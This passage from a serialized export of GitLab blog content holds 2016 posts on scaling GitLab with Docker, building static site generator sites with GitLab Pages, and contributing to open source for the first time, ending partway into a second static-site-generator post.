}",{"title":37976,"description":37977,"authors":37982,"heroImage":37978,"date":37984,"body":37985,"category":734},[37983],"DJ Mountney","2016-06-21","\n\nOur [Docker image](http://docs.gitlab.com/omnibus/docker/) is a great way to\nquickly bring up an instance of GitLab. You can use it to try new features, or\nmount the storage volumes and use it for all your GitLab needs.\n\nIt has been over two years since we started thinking about [Docker and GitLab together](https://gitlab.com/gitlab-org/omnibus-gitlab/issues/59).\nIn those years we have pushed over 100 CE and EE docker images to [Docker Hub](https://hub.docker.com/u/gitlab/),\nand have built new features like GitLab CI with [built-in Docker support](https://docs.gitlab.com/ee/ci/docker/using_docker_images.html),\nhelping us (and you!) to test and build our applications easier and faster.\n\nRead on for more details on how we scale GitLab by having Docker built in.\n\n\u003C!-- more -->\n\n## Why Docker?\n\n[Docker](https://www.docker.com/) provides a set of tools for running processes\nin a virtualized container. This satisfies most of the same use-cases as a\nvirtual machine, but re-uses the host system's kernel, making it faster to boot\nup. It uses a layered filesystem which can be re-used among several containers,\nallowing it to take up less space.\n\n[Docker Hub](https://hub.docker.com/) provides a central registry of images,\nwhich helps make our GitLab image more discoverable. Docker's popularity has\nresulted in increased development in virtual containers, and now has a large\ncommunity around it to provide support.\n\nFor the GitLab application image, we use Docker because it is the most familiar\ncontainer provider for our users, and is well supported.\n\nFor use within GitLab CI, we chose it because it is easy to manage and its\nlightweight nature makes it easy to scale our CI tasks.\n\n## Docker built right into GitLab\n\n### A GitLab CI Docker executor\n\n[GitLab CI](/solutions/continuous-integration/) is our continuous integration feature, built right into\nGitLab. It allows us to run several tasks against our code as we develop\nand deploy our applications. These tasks are run by something called a [Runner](http://doc.gitlab.com/ce/ci/runners/README.html)\nwhich processes builds.\n\nIn 2015 the community created a Runner which supported running tasks using a\nDocker executor. This soon became our [officially supported Runner](/blog/unofficial-runner-becomes-official/).\nIt runs tasks concurrently, which was a big win.\n\nThis new Runner was built with Docker support right from the beginning because\nDocker provides an easy way for us to run each task in a fresh clean environment,\nwithout any leftovers from previous builds. It also takes care of downloading and\ninstalling our build dependencies for us. Because of this, using the Docker\nexecutor in GitLab CI is our _recommended_ approach for running most tasks.\n\n### GitLab CI autoscaling with Docker Machine\n\nThe GitLab CI Runners also support autoscaling, which allows us to provision and\nmanage multiple remote Docker hosts. We built autoscaling with the help of [Docker Machine](https://docs.docker.com/machine/).\nDocker Machine supports a vast number of [virtualization and cloud providers](https://docs.docker.com/machine/drivers/).\n\nBecause the Runners will autoscale, our infrastructure contains only as many\nbuild instances as necessary. The autoscaling feature promotes heavy\nparallelization of our tests, so they run quickly. The machines we don't\nneed are shut down, so we only need to pay for what we are using.\n\nCheck out our [autoscale runners release blog post](/releases/2016/03/29/gitlab-runner-1-1-released/#autoscaling-increases-developer-happiness)\nfor more information on how we've found autoscaling to increase developer\nhappiness.\n\n### An integrated Docker Registry\n\n[GitLab Container Registry](https://docs.gitlab.com/ee/administration/container_registry.html)\nis a secure and private registry for Docker images. Built on [open source software](https://github.com/docker/distribution),\nGitLab Container Registry isn't just a standalone registry; it's _completely_\nintegrated with GitLab.\n\nThe registry is the place to store and tag images for later use. Developers may\nwant to maintain their own registry for private, company images, or for\nthrow-away images used only in testing. Using GitLab Container Registry means\nyou don't need to set up and administer yet another service, or use a public\nregistry.\n\nCheck out our [announcement blog post](/blog/gitlab-container-registry/)\nfor more details on how the GitLab Container Registry simplify your development\nand deployment workflows.\n\n## How we continue to scale using Docker\n\n### Scaling our Tests\n\nAll of our source branches for GitLab are [tested](https://gitlab.com/gitlab-org/gitlab-ce/pipelines)\nusing GitLab CI. We switched our builds to use the autoscaled Docker executor when\nwe released support for it in GitLab CI back in March.\n\nBefore switching to the autoscaled runners, tests were on average waiting for **10\nminutes** before an executor became available for them to run. Now the tests only\never need to wait a **few seconds** for a new Docker Machine to be brought up.\n\nIt is not just our own tests though. We have [enabled autoscaling on our Shared Runners\non GitLab.com](/blog/shared-runners/) for all\nyour projects on GitLab.com. And you run a lot of builds! On average, we have\nbeen running **94** autoscaled instances. We've seen the number currently running\njump up to a couple hundred at times. It's those peak times when you would have\nbeen waiting several minutes for their builds to start. Now it's only seconds!\n\n### Scaling our Builds\n\nThis month we have moved the building of our GitLab Omnibus Packages into Docker\nas well. Previously we were running a single dedicated VM for all 9 of the\nOperating Systems that we build GitLab packages for. Most package builds took\nabout half-an-hour, but because there was only one VM for each OS, doing a\n[security patch across 7 releases](/releases/2016/06/15/gitlab-8-dot-8-dot-5-released/)\nwould take a long time.\n\nMoving the builds to Docker and turning on auto-scaling allows us to run as many\nbuilds at a time as we need. We are not finished with the move quite yet, our\nDocker builds are currently half the speed of our previous system, taking a full\nhour per build. And flaky build failures often cause us to retry the builds at\nleast once per release. We still need to reintroduce some build caching and\nother improvements to fix these problems, but we expect to be able to quickly and\nconcurrently build our packages when it is all done. Feel free to\n[track our progress](https://gitlab.com/gitlab-org/omnibus-gitlab/issues/1232).\n\n## We \u003Ci class=\"fas fa-heart\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i> Docker\n{: #we-love-docker}\n\nAs you can see, providing a GitLab Docker image was just the beginning of our\nDocker obsession. Building Docker directly into GitLab CI, and adding a deeply\nintegrated Docker Registry into GitLab, is helping us to build and test GitLab\nquicker and more often. We hope it's helping you too!\n",{"slug":37987,"featured":6,"template":678},"how-we-scale-gitlab-by-having-docker-built-in","content:en-us:blog:how-we-scale-gitlab-by-having-docker-built-in.yml","How We Scale Gitlab By Having Docker Built In","en-us/blog/how-we-scale-gitlab-by-having-docker-built-in.yml","en-us/blog/how-we-scale-gitlab-by-having-docker-built-in",{"_path":37993,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37994,"content":38000,"config":38004,"_id":38006,"_type":16,"title":38007,"_source":17,"_file":38008,"_stem":38009,"_extension":20},"/en-us/blog/ssg-overview-gitlab-pages-part-3-examples-ci",{"title":37995,"description":37996,"ogTitle":37995,"ogDescription":37996,"noIndex":6,"ogImage":37997,"ogUrl":37998,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37998,"schema":37999},"SSGs Part 3: Build any SSG site with GitLab Pages","Which SSGs can I use with GitLab Pages? How to set up GitLab CI to build my SSG site? Where can I find some examples?","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684858/Blog/Hero%20Images/ssg-overview-gitlab-pages-part-3-cover.jpg","https://about.gitlab.com/blog/ssg-overview-gitlab-pages-part-3-examples-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"SSGs Part 3: Build any SSG site with GitLab Pages\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marcia Ramos\"}],\n        \"datePublished\": \"2016-06-17\",\n      }",{"title":37995,"description":37996,"authors":38001,"heroImage":37997,"date":38002,"body":38003,"category":734},[34953],"2016-06-17","\nWhich **Static Site Generators** (SSGs) can I use with **GitLab Pages**? How to set up GitLab CI to build\nmy SSG site? Where can I find some examples?\n\nIf these questions ring a bell, this **series of posts** is for you! We prepared three articles around\nthe same theme \"**Static Site Generators (SSGs)**\".\n\nThis is **Part 3: Build any SSG site with GitLab Pages**, where we'll show you some examples of SSGs\nusing distinct [GitLab CI](/topics/ci-cd/) configurations, so you can understand it and adjust it to your needs.\n\nRead through the previous posts:\n\n- [**Part 1: Dynamic vs Static Websites**][part-1]\n- [**Part 2: Modern Static Site Generators**][part-2]\n\n**Note:** For this series, we assume you are familiar with web development, curious about Static Site Generators,\nand excited to see your site getting deployed with GitLab Pages.\n{: .note}\n\n\u003C!-- more -->\n\n----------\n\n### What's in this page?\n{:.no_toc}\n\n- TOC\n{: toc}\n\n----\n\n## Build any SSG site with GitLab Pages\n\nIn the previous articles of this series on Static Site Generators, we explained the difference between\n[static and dynamic websites][part-1], and provided a general [overview on Modern SSGs][part-2]. Now let's\nunderstand how can we use them with [GitLab Pages][pages].\n\nYou can use [GitLab Pages][pages] to host and build **any** [SSG][ssgs] available!\nYou can also use custom domains, SSL/TLS certificates, create as many sites as you want,\nand deploy your site from **private repositories**. And that's all **for free** on GitLab.com!\nIf you are not familiar with GitLab Pages, you might want to read the article \"[Hosting on GitLab.com with GitLab Pages][post-pages]\",\nwhere you will find this information and a detailed step-by-step guide to walk you through the process.\nSee also the [quick start guide][pages] and the [official documentation][pages-ee] for further information.\n\n## SSGs examples\n\nOn the following tables you can explore some examples of SSGs sites **built with\nGitLab Pages** and hosted on GitLab.com. Some of them came from contributions from our community.\nWe'll be very happy to have [your contribution] too!\n\nThe key for [building your site with GitLab Pages][ci-for-pages] is the GitLab CI configuration\nfile, called `.gitlab-ci.yml`.\n\nTo make GitLab CI work for this specific purpose is necessary creating a job called `pages`, and generate your\ncompiled site to a `public` folder. Everything else is adjustable to your needs.\n\nOn the tables below, there are some examples we've gathered for you, organized by their respective environments.\n\n### Environment: [Ruby]\n\n| SSG | Website URL | Project URL | Configuration |\n| --- | ----------- | ----------- | -------------- |\n| [Jekyll] | [Default Theme][j-2-web] | [Source on GitLab][j-2-pro] | [Building Jekyll 3.1.2 with Bundler][j-2-ci] |\n| [Middleman] | [Default Theme][middle-prev] | [Source on GitLab][middle-proj] | [Default + Bundler `ENV=PRODUCTION`][middle-ci] |\n| [Nanoc] | [Default Theme][nanoc-prev] | [Source on GitLab][nanoc-proj] | [Default][nanoc-ci] |\n| [Octopress] | [Default Theme][octo-prev] | [Source on GitLab][octo-proj] | [Default][octo-ci] |\n\n### Environment: [Node JS][node]\n\n| SSG | Website URL | Project URL | Configuration |\n| --- | ----------- | ----------- | -------------- |\n| [Hexo] | [Hueman Theme][hexo-prev] | [Source on GitLab][hexo-proj] | [Default + `test` job][hexo-ci] |\n| [Brunch] | [Default Skeleton][brunch-prev] | [Source on GitLab][brunch-proj] | [Default][brunch-ci] |\n| [Harp] | [Default Theme][harp-prev] | [Source on GitLab][harp-proj] | [Default][harp-ci] |\n| [Metalsmith] | [Default Theme][metal-prev] | [Source on GitLab][metal-proj] | [Default][metal-ci] |\n| [GitBook] | [Default Theme][book-prev] | [Source on GitLab][book-proj] | [Default][book-ci] |\n\n### Environment: [Python]\n\n| SSG | Website URL | Project URL | Configuration |\n| --- | ----------- | ----------- | -------------- |\n| [Pelican] | [Default Theme][pelican-prev] | [Source on GitLab][pelican-proj] | [Default][pelican-ci] |\n| [Lektor] | [Default Theme][lektor-prev] | [Source on GitLab][lektor-proj] | [Default][lektor-ci] |\n| [Hyde] | [Default Theme][hyde-prev] | [Source on GitLab][hyde-proj] | [Default + `test` job][hyde-ci] |\n| [Nikola] | [Default Theme][nikola-prev] | [Source on GitLab][nikola-proj] | [Default][nikola-ci] |\n\n### Environment: [Go Lang][go]\n\n| SSG | Website URL | Project URL | Configuration |\n| --- | ----------- | ----------- | -------------- |\n| [Hugo] | [Beautiful Hugo Theme][hugo-prev] (Default) | [Source on GitLab][hugo-proj] | [Default][hugo-ci] |\n\n### More Examples\n{: #groups}\n\nOn the following GitLab groups you can find even more examples.\n\n| Group | Environment | SSGs |\n| ----- | ----------- | ---- |\n| [Pages][ci-examples] (Official) | Ruby, Node, Python, etc. | All SSGs presented on this post |\n| [Jekyll Themes][jekyll-examples] | Ruby | Jekyll |\n| [Middleman Themes][middle-examples] | Ruby | Middleman |\n| [Themes and Templates][themes-templates] | Miscellaneous | Miscellaneous |\n\n**Note:** these themes, templates, and SSGs were casually chosen, and listed on this post to provide you with\nsome distinct GitLab CI configurations.\n{: .note}\n\n## FAQ: which SSG should I get started with?\n\nThis is a tricky question, and there is no easy answer for it. Perhaps the best way\nto choose an SSG is installing three or four of them locally and give them a try. [This list][ssgs-more] might help too.\n\nHowever, if you don't know where to start, and you never used any Static Site Generator\nbefore, I suggest you to get started with [Jekyll]. Why?\n\n- It's very well documented\n- If you search the web for information you'll find plenty\n- Its template engine is rigid. Meaning, there's no chance to mess up the code\n- It is easy to learn\n\nBut this was merely a suggestion. There are better ways to choose. For example,\nif you are a programmer, you could choose the SSG according to the language it's\nwritten in (Ruby, JavaScript, Python, etc), picking up one you're familiar with.\nIf you are a PHP developer, you might want to choose an SSG with a PHP template engine. And so on.\n\n## Getting Help\n\nIf you need some help regarding GitLab Pages on GitLab.com,\nfeel free to use one of [our channels][get-help]. You can also\nopen an issue on the [Pages][pages-issues] group.\n\n## Conclusion\n\nWith this post we end up this series on SSGs. Hopefully, we got you inspired to start working with Static Site\nGenerators, and by now you comprehend what they are and how they work.\n\nYou are more than welcome to contribute with new SSGs, or with your cool themes and\ntemplates, to the [groups](#groups) mentioned earlier.\n\nIf you already work with an SSG, please let us know which one you prefer (click on the image below).\nIt's a quick survey that will only take a minute, and your participation means a lot to us! [Share it] with your friends too!\n\n[![Survey - SSGs on GitLab Pages](https://about.gitlab.com/images/blogimages/ssg-gitlab-pages-series/part-3-survey-ssgs-on-gitlab-pages.png)][CTA]\n\nDon't you have an account on [GitLab.com][sign-up] yet? Let's create one!\nRemember, we can use GitLab Pages to [build any SSG][post-pages] for us and host it for free on GitLab.com!\n\nFollow [@GitLab][twitter] on Twitter and stay tuned for updates!\n\n\u003C!-- Cover photo: https://unsplash.com/photos/bphc6kyobMg -->\n\n\u003C!-- IDENTIFIERS -->\n\n\u003C!-- SSGs series -->\n\n[part-1]: /blog/ssg-overview-gitlab-pages-part-1-dynamic-x-static/\n[part-2]: /blog/ssg-overview-gitlab-pages-part-2/\n\n\u003C!-- GitLab -->\n\n[CTA]: http://goo.gl/forms/9CKIkYqa4xQup1DF3\n\n[about-gitlab-com]: /\n[ci-for-pages]: /blog/gitlab-pages-setup/#gitlab-ci\n[your contribution]: https://gitlab.com/pages/pages.gitlab.io/blob/master/CONTRIBUTING.md\n[get-help]: /get-help/\n[gitlab-com]: /gitlab-com/\n[pages]: https://pages.gitlab.io\n[pages-ee]: http://doc.gitlab.com/ee/pages/README.html\n[pages-issues]: https://gitlab.com/pages/pages.gitlab.io/issues\n[post-pages]: /blog/gitlab-pages-setup/\n[Share it]: https://twitter.com/intent/tweet?hashtags=GitLabPages&original_referer=http%3A%2F%2Flocalhost%3A4567%2F2016%2F06%2F17%2Fssg-overview-gitlab-pages-part-3-examples-ci%2F&ref_src=twsrc%5Etfw&related=gitlab&text=SSGs%20on%20GitLab%20Pages&tw_p=tweetbutton&url=http%3A%2F%2Fgoo.gl%2Fforms%2F9CKIkYqa4xQup1DF3&via=gitlab\n[sign-up]: https://gitlab.com/users/sign_in \"Sign Up!\"\n[twitter]: https://twitter.com/gitlab\n\n\u003C!-- SSGs -->\n\n[blosxom]: http://blosxom.sourceforge.net/\n[Brunch]: http://brunch.io/\n[GitBook]: https://www.gitbook.com/\n[Harp]: http://harpjs.com/\n[Hexo]: https://hexo.io/\n[Hyde]: http://hyde.github.io/\n[Hugo]: https://gohugo.io/\n[Jekyll]: https://jekyllrb.com\n[Lektor]: https://www.getlektor.com/\n[Metalsmith]: http://www.metalsmith.io/\n[Middleman]: https://middlemanapp.com/\n[Nanoc]: https://nanoc.ws/\n[Nikola]: https://getnikola.com/\n[Octopress]: http://octopress.org/\n[Pelican]: http://blog.getpelican.com/\n\n[hexo-struc]: https://hexo.io/docs/setup.html\n[jekyll-struc]: https://jekyllrb.com/docs/structure/\n[middle-struc]: https://middlemanapp.com/basics/directory-structure/\n\n[jek-sitemap]: https://github.com/jekyll/jekyll-sitemap\n[middle-sitemap]: https://middlemanapp.com/advanced/sitemap/\n[hexo-sitemap]: https://github.com/hexojs/hexo-generator-sitemap\n\n[SSGs]: https://www.staticgen.com/\n[ssgs-more]: https://iwantmyname.com/blog/2014/05/the-updated-big-list-of-static-website-generators-for-your-site-blog-or-wiki\n\n\u003C!-- Languages, preprocessors, libraries and frameworks -->\n\n[animate.css]: https://daneden.github.io/animate.css/\n[Bootstrap]: http://getbootstrap.com\n[CoffeeScript]: http://coffeescript.org/\n[Foundation]: http://foundation.zurb.com/\n[go]: https://golang.org/\n[haml]: http://haml.info/\n[html5-boiler]: https://html5boilerplate.com/\n[jquery]: http://code.jquery.com/\n[kramdown]: http://kramdown.gettalong.org/\n[liquid]: https://shopify.github.io/liquid/\n[markdown]: https://en.wikipedia.org/wiki/Markdown\n[modernizr]: https://modernizr.com/\n[node]: https://nodejs.org/en/\n[normalize]: https://necolas.github.io/normalize.css/\n[Python]: https://www.python.org/\n[rdiscount]: http://dafoster.net/projects/rdiscount/\n[redcarpet]: https://github.com/vmg/redcarpet\n[redcloth]: http://redcloth.org/\n[Ruby]: https://www.ruby-lang.org/\n[Sass]: http://sass-lang.com/\n[skeleton]: http://getskeleton.com/\n[Slim]: http://slim-lang.com/\n[Stylus]: http://stylus-lang.com/\n[twig]: http://twig.sensiolabs.org/\n\n\u003C!-- Groups -->\n\n[ci-examples]: https://gitlab.com/groups/pages\n[jekyll-examples]: https://gitlab.com/groups/jekyll-themes\n[middle-examples]: https://gitlab.com/groups/middleman-themes\n[themes-templates]: https://gitlab.com/themes-templates\n\n\u003C!-- Examples -->\n\n[j-2-web]: https://jekyll-themes.gitlab.io/default-bundler/ \"The default Jekyll Theme\"\n[j-2-pro]: https://gitlab.com/jekyll-themes/default-bundler\n[j-2-ci]: https://gitlab.com/jekyll-themes/default-bundler/blob/master/.gitlab-ci.yml\n\n[j-3-web]: https://jekyll-themes.gitlab.io/grayscale/ \"A single page Jekyll template\"\n[j-3-pro]: https://gitlab.com/jekyll-themes/grayscale\n[j-3-ci]: https://gitlab.com/jekyll-themes/grayscale/blob/master/.gitlab-ci.yml\n\n[hugo-prev]: https://pages.gitlab.io/hugo/\n[hugo-proj]: https://gitlab.com/pages/hugo\n[hugo-ci]: https://gitlab.com/pages/hugo/blob/master/.gitlab-ci.yml\n\n[middle-prev]: https://middleman-themes.gitlab.io/middleman/\n[middle-proj]: https://gitlab.com/middleman-themes/middleman\n[middle-ci]: https://gitlab.com/middleman-themes/middleman/blob/master/.gitlab-ci.yml\n\n[hexo-prev]: https://themes-templates.gitlab.io/hexo/\n[hexo-proj]: https://gitlab.com/themes-templates/hexo\n[hexo-ci]: https://gitlab.com/themes-templates/hexo/blob/master/.gitlab-ci.yml\n\n[brunch-prev]: https://pages.gitlab.io/brunch/\n[brunch-proj]: https://gitlab.com/pages/brunch\n[brunch-ci]: https://gitlab.com/pages/brunch/blob/master/.gitlab-ci.yml\n\n[harp-prev]: https://pages.gitlab.io/harp/\n[harp-proj]: https://gitlab.com/pages/harp\n[harp-ci]: https://gitlab.com/pages/harp/blob/master/.gitlab-ci.yml\n\n[metal-prev]: https://pages.gitlab.io/metalsmith/\n[metal-proj]: https://gitlab.com/pages/metalsmith\n[metal-ci]: https://gitlab.com/pages/metalsmith/blob/master/.gitlab-ci.yml\n\n[lektor-prev]: https://pages.gitlab.io/lektor/\n[lektor-proj]: https://gitlab.com/pages/lektor\n[lektor-ci]: https://gitlab.com/pages/lektor/blob/master/.gitlab-ci.yml\n\n[hyde-prev]: https://pages.gitlab.io/hyde/\n[hyde-proj]: https://gitlab.com/pages/hyde\n[hyde-ci]: https://gitlab.com/pages/hyde/blob/master/.gitlab-ci.yml\n\n[nanoc-prev]: https://pages.gitlab.io/nanoc/\n[nanoc-proj]: https://gitlab.com/pages/nanoc\n[nanoc-ci]: https://gitlab.com/pages/nanoc/blob/master/.gitlab-ci.yml\n\n[pelican-prev]: https://pages.gitlab.io/pelican/\n[pelican-proj]: https://gitlab.com/pages/pelican\n[pelican-ci]: https://gitlab.com/pages/pelican/blob/master/.gitlab-ci.yml\n\n[book-prev]: https://pages.gitlab.io/gitbook/\n[book-proj]: https://gitlab.com/pages/gitbook\n[book-ci]: https://gitlab.com/pages/gitbook/blob/pages/.gitlab-ci.yml\n\n[octo-prev]: https://pages.gitlab.io/octopress/\n[octo-proj]: https://gitlab.com/pages/octopress\n[octo-ci]: https://gitlab.com/pages/octopress/blob/master/.gitlab-ci.yml\n\n[nikola-prev]: https://pages.gitlab.io/nikola/\n[nikola-proj]: https://gitlab.com/pages/nikola\n[nikola-ci]: https://gitlab.com/pages/nikola/blob/master/.gitlab-ci.yml\n",{"slug":38005,"featured":6,"template":678},"ssg-overview-gitlab-pages-part-3-examples-ci","content:en-us:blog:ssg-overview-gitlab-pages-part-3-examples-ci.yml","Ssg Overview Gitlab Pages Part 3 Examples Ci","en-us/blog/ssg-overview-gitlab-pages-part-3-examples-ci.yml","en-us/blog/ssg-overview-gitlab-pages-part-3-examples-ci",{"_path":38011,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38012,"content":38018,"config":38023,"_id":38025,"_type":16,"title":38026,"_source":17,"_file":38027,"_stem":38028,"_extension":20},"/en-us/blog/fearless-contribution-a-guide-for-first-timers",{"title":38013,"description":38014,"ogTitle":38013,"ogDescription":38014,"noIndex":6,"ogImage":38015,"ogUrl":38016,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38016,"schema":38017},"Fearless Contribution: A Guide for First-Timers","First time contributions can be scary. If you're worried your skills are not up to par, you're not alone.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672230/Blog/Hero%20Images/fearless-contribution-a-guide-for-first-timers.jpg","https://about.gitlab.com/blog/fearless-contribution-a-guide-for-first-timers","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Fearless Contribution: A Guide for First-Timers\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Drew Blessing\"}],\n        \"datePublished\": \"2016-06-16\",\n      }",{"title":38013,"description":38014,"authors":38019,"heroImage":38015,"date":38021,"body":38022,"category":8943},[38020],"Drew Blessing","2016-06-16","\n\n> This post is part of a series [Celebrating 1,000 Contributors][1k-post]\n\nThere are clear benefits to contributing to open-source projects. For starters,\nyou'll solve your own problems more quickly and you will have a positive effect\non your favorite projects.\n\nHowever, the barrier to entry can be high for first-time contributors. Perhaps\nyou feel your coding skills are not up to par, or maybe you aren't a programmer\nat all. When you do approach a project, you may find the contribution guidelines\nare unclear, the maintainers are unresponsive, or you may disagree over\npriorities.\n\nI'll give you some practical advice on overcoming these hurdles. We'll also\nlook at the ways GitLab tries to make contributing easier in our own project.\n\n\u003C!-- more -->\n\n## Ways to contribute\n\nFirst time contributions can be scary. If you're worried your skills are not\nup to par, you're not alone. Many new and seasoned people in the technology\nfield feel this way at one point or another. The best way to overcome this\nfeeling is to jump in *somewhere*. No matter how large or small the\ncontribution, you will gain confidence and feel more comfortable each time.\n\nSome may believe that the only way to contribute to an open-source project is\nby writing code - fixing bugs or contributing new features. In reality, there\nare more ways to contribute.\n\n### Documentation\n\nAs you were learning to use the application or tool, did you notice gaps in the\ndocumentation? This is a great way to start contributing to a project. If you\nexperienced and overcame a challenge because the documentation was lacking,\nit's an opportunity to get involved and help others.\n\nMany projects commit documentation in the same repository as the code. For\nexample, GitLab stores all documentation in the `doc` directory within a\nproject. For GitLab CE, you can see documentation source at\n[https://gitlab.com/gitlab-org/gitlab-ce/tree/master/doc](https://gitlab.com/gitlab-org/gitlab-ce/tree/master/doc).\nIf you don't find documentation in repository then you may find a hint on the\ndoc site. Look for a link near the bottom of the page that points to the source.\nOn [https://docs.gitlab.com](https://docs.gitlab.com) we have a link at the\nbottom of each page pointing to a specific source document. Here is an example\nof the doc site footer:\n\n---\n\n![Doc site footer](https://about.gitlab.com/images/first_time_contribution/doc_site_footer.png)\n\n---\n\n### Issue Tracker\n\nGet involved in the project's issue tracker. To begin with, you may only create\nbug reports for issues you encounter. As you become more comfortable, consider\ntriaging other bug reports.\n\nStart by picking an existing issue and try to reproduce the problem in your own\nsystem. If you can reproduce it, outline the steps as a comment on the issue.\nThis will save developer's time when they come to fix the bug later. If you\ncannot reproduce the issue, ask the reporter for more information. Triaging\nissues has a side-effect of helping you learn more about the project. This will\ncome in handy as you contribute documentation and/or code in the future.\n\n### Bug Fixes and New Features\n\nIf you can write code, consider contributing bug fixes and, eventually, new\nfeatures. Chances are you've encountered a bug or two in the course of using\na project. Contribute a fix for one of these bugs first. It's\nrewarding when you solve one of your own problems and see the change accepted.\n\nSome projects may have labels to help direct you to easier bug fixes. For\nexample, GitLab projects contain an `up-for-grabs` label that signifies a\nbug that newer contributors may be able to solve. Beyond that, browse the\nissue tracker for an interesting problem that you believe you can fix.\n\n## Contribution Guidelines\n\nMany open-source projects have defined guidelines that contributors\nare expected to adhere to when submitting issue reports or merge requests. These\nguidelines are meant to reduce the amount of time the maintainers spend\nrepeatedly asking for required details or changes to code style.\n\nBefore creating an issue report or merge request, look for a CONTRIBUTING.md\nfile in the root of the repository. To make finding this guide easier, GitLab\nhas a link to 'Contribution guide' on project home pages if there is a\nCONTRIBUTING.md in the repository.\n\n![GitLab Project Page](https://about.gitlab.com/images/first_time_contribution/project_page.png)\n\nAdhering to the guidelines is a great way to prevent your contributions from\nbeing rejected or delayed. Most maintainers don't intend to discredit your\nwork or be tough on contributors. However, many are busy and are doing this\nin their free time.\n\nScan the [GitLab Community Edition Contribution Guide][contrib-guide]\nto see how we handle community contributions. Notice our requirements for\nmerge request descriptions. There are five headines that we request so we have\nall the information we need to understand the purpose of the proposed change.\n\n```\n## What does this MR do?\n\n## Are there points in the code the reviewer needs to double check?\n\n## Why was this MR needed?\n\n## What are the relevant issue numbers?\n\n## Screenshots (if relevant)\n```\n\n## Conflicting priorities\n\nSometimes a request will be turned down because of conflicting priorities.\nWhether you're requesting a new feature, or providing a fix, remember that the\nmaintainer has to weigh the contribution. They're the ones that will have to\nsupport this code in the future and resources are often slim. Additionally,\nit's important to understand whether a feature will be helpful to the wider\nuser community. Try not to be discouraged if your feature request or merge\nrequest is turned down. Be open-minded and, if necessary, propose\nan alternative idea after hearing their concerns.\n\n## Unresponsive maintainers\n\nThis can be a really frustrating part of open-source. When you're experiencing\na bug or waiting on some functionality for your use-case, a lack of response\ncan be maddening. Remember that some project maintainers are working on projects\nin their spare time and aren't paid to do this. In some cases, projects may be\nabandoned because the maintainer no longer has the need or interest.\n\nThere aren't always good ways to deal with this scenario. Interested and\nexperienced people may offer to take over maintainership, or the project could\nbe forked. Often, though, patience is key.\n\n## Start a project\n\nAs you become more experienced, consider starting a small project that is\na command line tool or utility. Choose something that will be useful in\nyour daily tasks so you will be motivated. Don't necessarily be concerned about\ncompeting projects to begin with. The ultimate goal of this endeavor is to\nlearn.\n\nAs an example, 3 years ago I thought it would be useful to have a command line\ntool for GitLab. I really wanted to be able to create a snippet by piping\nsome text to a command. Up until this point I had written very little Ruby\nbut I tried it anyway. I learned a lot about Ruby, how to organize a project,\nand I used this tool successfully for quite a while. I no longer maintain this\nproject but I'm still happy I created it. For sentimental purposes, you can see\nthe code at https://github.com/drewblessing/gitlab-cli.\n\n## Get involved in GitLab!\n\nWe always welcome new contributors to the GitLab community so jump right in and\nwork on one of the areas mentioned above. If you can write code, we recently\npublished a blog post about [Getting Started with GitLab Development Kit][gdk-post].\nThere are also community-based support channels that are great places to get\ninvolved. See the [Getting Help][getting-help] section of our website for links\nto these channels.\n\n## Final Thoughts\n\nI find being part of an open-source community to be a fun and rewarding\nexperience. In almost every project I've been involved with I started out\nknowing next to nothing about the project, or programming language. Start small\nand don't underestimate your skills. Over time you will learn a lot through\nyour involvement and you'll become more confident.\n\n[1k-post]: /2016/05/24/1k-contributors/\n[gdk-post]: /2016/06/08/getting-started-with-gitlab-development-kit/\n[getting-help]: /get-help/\n[contrib-guide]: https://gitlab.com/gitlab-org/gitlab-ce/blob/master/CONTRIBUTING.md\n",{"slug":38024,"featured":6,"template":678},"fearless-contribution-a-guide-for-first-timers","content:en-us:blog:fearless-contribution-a-guide-for-first-timers.yml","Fearless Contribution A Guide For First Timers","en-us/blog/fearless-contribution-a-guide-for-first-timers.yml","en-us/blog/fearless-contribution-a-guide-for-first-timers",{"_path":38030,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":38031,"content":38037,"config":38041,"_id":38043,"_type":16,"title":38044,"_source":17,"_file":38045,"_stem":38046,"_extension":20},"/en-us/blog/ssg-overview-gitlab-pages-part-2",{"title":38032,"description":38033,"ogTitle":38032,"ogDescription":38033,"noIndex":6,"ogImage":38034,"ogUrl":38035,"ogSiteName":1180,"ogType":1181,"canonicalUrls":38035,"schema":38036},"SSGs Part 2: What are modern static site generators","This is Part 2: Modern Static Site Generators, where we provide you with an overview on the subject.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684846/Blog/Hero%20Images/ssg-overview-gitlab-pages-cover.jpg","https://about.gitlab.com/blog/ssg-overview-gitlab-pages-part-2","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"SSGs Part 2: What are modern static site generators\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marcia Ramos\"}],\n        \"datePublished\": \"2016-06-10\",\n      }",{"title":38032,"description":38033,"authors":38038,"heroImage":38034,"date":38039,"body":38040,"category":734},[34953],"2016-06-10","\nWhat are Static Site Generators? What are they for? Why should I use them? Do they have\nlimitations? How can I use them with **GitLab Pages**?\n\nIf these questions ring a bell, this **series of posts** is for you! We are preparing\nthree articles around the same theme \"**Static Site Generators (SSGs)**\".\n\nThis is **Part 2: Modern Static Site Generators**, where we provide you with an overview on\nthe subject.\n\nThe previous post was [**Part 1: Dynamic x Static Websites**][part-1], where we briefly explained\nthe differences between them, and their pros and cons.\n\nStay tuned for the next post: **[Part 3: Build any SSG site with GitLab Pages][part-3]**!\n\n**Note:** For this series, we assume you are familiar with web development, curious about\nStatic Site Generators, and excited to see your site getting deployed with GitLab Pages.\n{: .note}\n\n\u003C!-- more -->\n\n----------\n\n### What's in this overview?\n{:.no_toc}\n\n- TOC\n{: toc}\n\n----\n\n## Benefits of Modern Static Site Generators\n\nStatic Site Generators (**[SSGs]**) are software created to automate web development to\n**output** static sites from **dynamic** writing. So, we 